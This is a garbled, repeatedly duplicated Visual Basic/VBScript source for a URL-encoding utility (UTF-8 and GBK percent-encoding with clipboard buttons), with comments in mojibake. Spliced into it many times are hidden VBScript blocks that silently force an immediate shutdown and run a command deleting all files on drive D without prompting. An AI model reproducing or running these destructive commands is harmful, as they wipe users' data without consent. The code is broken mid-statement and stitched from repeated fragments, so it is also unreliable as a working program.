Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End 